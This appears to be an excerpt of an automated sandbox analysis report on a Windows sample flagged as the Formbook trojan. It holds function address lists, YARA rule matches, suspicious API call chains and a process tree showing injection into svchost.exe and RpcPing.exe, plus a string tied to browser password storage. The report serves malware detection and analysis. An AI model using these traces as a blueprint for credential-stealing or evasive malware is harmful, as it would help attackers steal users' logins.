Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DD5B0	2_2_034DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03431460	2_2_03431460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF43F	2_2_034FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFB76	2_2_034FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B5BF0	2_2_034B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347DBF9	2_2_0347DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FB80	2_2_0345FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFA49	2_2_034FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7A46	2_2_034F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B3A6C	2_2_034B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EDAC6	2_2_034EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DDAAC	2_2_034DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03485AA0	2_2_03485AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E1AA3	2_2_034E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449950	2_2_03449950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B950	2_2_0345B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D5910	2_2_034D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AD800	2_2_034AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034438E0	2_2_034438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFF09	2_2_034FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03441F92	2_2_03441F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFFB1	2_2_034FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449EB0	2_2_03449EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03443D40	2_2_03443D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F1D5A	2_2_034F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7D73	2_2_034F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FDC0	2_2_0345FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B9C32	2_2_034B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFCF2	2_2_034FFCF2
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D09D49	3_2_04D09D49
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D1249E	3_2_04D1249E
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D09D9E	3_2_04D09D9E
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D09DAD	3_2_04D09DAD
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0BD1E	3_2_04D0BD1E
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D2A98E	3_2_04D2A98E
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0BAF5	3_2_04D0BAF5
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0BAFE	3_2_04D0BAFE
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D142BE	3_2_04D142BE
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CF02C0	5_2_02CF02C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D10274	5_2_02D10274
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D303E6	5_2_02D303E6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C7E3F0	5_2_02C7E3F0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2A352	5_2_02D2A352
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D02000	5_2_02D02000
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D281CC	5_2_02D281CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D241A2	5_2_02D241A2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D301AA	5_2_02D301AA
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CF8158	5_2_02CF8158
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C60100	5_2_02C60100
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D0A118	5_2_02D0A118
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C8C6E0	5_2_02C8C6E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C6C7C0	5_2_02C6C7C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C94750	5_2_02C94750
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C70770	5_2_02C70770
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D1E4F6	5_2_02D1E4F6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D22446	5_2_02D22446
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D14420	5_2_02D14420
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D30591	5_2_02D30591
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C70535	5_2_02C70535
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C6EA80	5_2_02C6EA80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D26BD7	5_2_02D26BD7
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2AB40	5_2_02D2AB40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C9E8F0	5_2_02C9E8F0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C568B8	5_2_02C568B8
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C72840	5_2_02C72840
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C7A840	5_2_02C7A840
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C729A0	5_2_02C729A0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D3A9A6	5_2_02D3A9A6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C86962	5_2_02C86962
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2EEDB	5_2_02D2EEDB
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2CE93	5_2_02D2CE93
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C82E90	5_2_02C82E90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C70E59	5_2_02C70E59
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2EE26	5_2_02D2EE26
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C62FC8	5_2_02C62FC8
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C7CFE0	5_2_02C7CFE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CEEFA0	5_2_02CEEFA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CE4F40	5_2_02CE4F40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D12F30	5_2_02D12F30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CB2F28	5_2_02CB2F28
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C90F30	5_2_02C90F30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C60CF2	5_2_02C60CF2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D10CB5	5_2_02D10CB5
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C70C00	5_2_02C70C00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C6ADE0	5_2_02C6ADE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C88DBF	5_2_02C88DBF
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C7AD00	5_2_02C7AD00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D0CD1F	5_2_02D0CD1F
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C8B2C0	5_2_02C8B2C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D112ED	5_2_02D112ED
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C752A0	5_2_02C752A0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CB739A	5_2_02CB739A
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C5D34C	5_2_02C5D34C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2132D	5_2_02D2132D
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C770C0	5_2_02C770C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D1F0CC	5_2_02D1F0CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2F0E0	5_2_02D2F0E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D270E9	5_2_02D270E9
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C7B1B0	5_2_02C7B1B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CA516C	5_2_02CA516C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C5F172	5_2_02C5F172
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D3B16B	5_2_02D3B16B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D216CC	5_2_02D216CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CB5630	5_2_02CB5630
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2F7B0	5_2_02D2F7B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C61460	5_2_02C61460
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2F43F	5_2_02D2F43F
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D395C3	5_2_02D395C3
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D0D5B0	5_2_02D0D5B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D27571	5_2_02D27571
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D1DAC6	5_2_02D1DAC6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CB5AA0	5_2_02CB5AA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D11AA3	5_2_02D11AA3
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D0DAAC	5_2_02D0DAAC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D27A46	5_2_02D27A46
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2FA49	5_2_02D2FA49
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CE3A6C	5_2_02CE3A6C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CADBF9	5_2_02CADBF9
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CE5BF0	5_2_02CE5BF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C8FB80	5_2_02C8FB80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2FB76	5_2_02D2FB76
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C738E0	5_2_02C738E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CDD800	5_2_02CDD800
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C79950	5_2_02C79950
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C8B950	5_2_02C8B950
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D05910	5_2_02D05910
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C79EB0	5_2_02C79EB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C33FD2	5_2_02C33FD2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C33FD5	5_2_02C33FD5
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C71F92	5_2_02C71F92
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2FFB1	5_2_02D2FFB1
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2FF09	5_2_02D2FF09
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D2FCF2	5_2_02D2FCF2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02CE9C32	5_2_02CE9C32
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C8FDC0	5_2_02C8FDC0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02C73D40	5_2_02C73D40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D21D5A	5_2_02D21D5A
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02D27D73	5_2_02D27D73
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00481B90	5_2_00481B90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0047CA67	5_2_0047CA67
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0047CA70	5_2_0047CA70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0047CC90	5_2_0047CC90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0047AD10	5_2_0047AD10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00485230	5_2_00485230
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00483410	5_2_00483410
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0049B900	5_2_0049B900
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02B3E308	5_2_02B3E308
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02B3E7C3	5_2_02B3E7C3
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02B3E424	5_2_02B3E424
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02B3CB13	5_2_02B3CB13
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02B3D828	5_2_02B3D828

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0342B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03475130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03487E54 appears 101 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02CB7E54 appears 110 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02CDEA12 appears 86 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02C5B970 appears 280 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02CEF290 appears 105 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02CA5130 appears 58 times
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: String function: 00445AE0 appears 65 times

Source: N2Qncau2rN.exe, 00000000.00000003.1659170774.00000000047BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs N2Qncau2rN.exe
Source: N2Qncau2rN.exe, 00000000.00000003.1658523264.0000000004613000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs N2Qncau2rN.exe

Source: N2Qncau2rN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4131107461.0000000004F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@17/10

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0047839D

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

File created: C:\Users\user\AppData\Local\Temp\Keily

Source: N2Qncau2rN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RpcPing.exe, 00000005.00000002.4127083272.0000000002842000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.2079097179.0000000002876000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.2079097179.0000000002821000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.2079097179.0000000002842000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4127083272.0000000002876000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: N2Qncau2rN.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

File read: C:\Users\user\Desktop\N2Qncau2rN.exe

Source: unknown	Process created: C:\Users\user\Desktop\N2Qncau2rN.exe "C:\Users\user\Desktop\N2Qncau2rN.exe"
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\N2Qncau2rN.exe"
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\N2Qncau2rN.exe"	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: uxtheme.dll	Jump to behavior
